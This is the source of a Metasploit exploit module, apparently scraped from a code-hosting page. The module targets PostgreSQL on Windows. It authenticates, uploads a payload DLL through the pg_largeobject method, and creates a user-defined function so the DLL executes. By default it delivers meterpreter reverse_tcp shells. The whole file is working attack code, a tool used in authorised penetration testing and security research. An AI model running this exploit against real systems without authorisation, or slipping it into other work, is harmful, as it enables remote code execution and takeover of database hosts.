Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/postgres/postgres_payload.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Postgres9include Msf::Auxiliary::Report10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper12include Msf::OptionalSession::PostgreSQL1314# Creates an instance of this module.15def initialize(info = {})16super(update_info(info,17'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',18'Description' => %q{19On default Microsoft Windows installations of PostgreSQL the postgres20service account may write to the current directory (which is usually21"C:\Program Files\PostgreSQL\<version>\data" where <version> is the22major.minor version of PostgreSQL). UDF DLL's may be sourced from23there as well.2425This module uploads a Windows DLL file via the pg_largeobject method26of binary injection and creates a UDF (user defined function) from27that DLL. Because the payload is run from DllMain, it does not need to28conform to specific Postgres API versions.29},30'Author' =>31[32'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries33'todb' # this Metasploit module34],35'License' => MSF_LICENSE,36'References' =>37[38[ 'URL', 'https://web.archive.org/web/20100803002909/http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL39],40'Platform' => 'win',41'Targets' =>42[43[ 'Windows x86',44{45'Arch' => ARCH_X86,46'DefaultOptions' => {47'PAYLOAD' => 'windows/meterpreter/reverse_tcp'48}49}50],51[ 'Windows x64',52{53'Arch' => ARCH_X64,54'DefaultOptions' => {55'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'56}57}58],59],60'DefaultTarget' => 0,61'DisclosureDate' => '2009-04-10', # Date of Bernardo's BH Europe paper.62))6364deregister_options('SQL', 'RETURN_ROWSET')65end6667def check68version = postgres_fingerprint6970if version[:auth]71print_good "Authentication successful. Version: #{version}"72return CheckCode::Appears # WRITE permission needs to be proven to get CheckCode::Vulnerable73else74print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"75return CheckCode::Safe76end77end7879def exploit80self.postgres_conn = session.client if session81version = do_login(username,password,database)82case version83when :noauth; print_error "Authentication failed"; return84when :noconn; print_error "Connection failed"; return85else86print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}")87end8889fname = "#{Rex::Text.rand_text_alpha(8)}.dll"90register_files_for_cleanup(fname)9192unless postgres_upload_binary_data(generate_payload_dll, fname)93print_error "Could not upload the UDF DLL"94return95end9697print_status "Uploaded as #{fname}"98begin99func_name = Rex::Text.rand_text_alpha(10)100postgres_query(101"create or replace function pg_temp.#{func_name}()"+102" returns void as '#{fname}','#{func_name}'"+103" language c strict immutable"104)105rescue RuntimeError => e106print_error "Failed to create UDF function: #{e.class}: #{e}"107end108postgres_logout if @postgres_conn && session.blank?109110end111112# Authenticate to the postgres server.113#114# Returns the version from #postgres_fingerprint115def do_login(user=nil,pass=nil,database=nil)116begin117password = pass || postgres_password118vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn119result = postgres_fingerprint(120:db => database,121:username => user,122:password => password123)124if result[:auth]125report_service(126:host => postgres_conn.peerhost,127:port => postgres_conn.peerport,128:name => "postgres",129:info => result.values.first130)131return result[:auth]132else133print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")134return :noauth135end136rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError137return :noconn138end139end140141142end143144145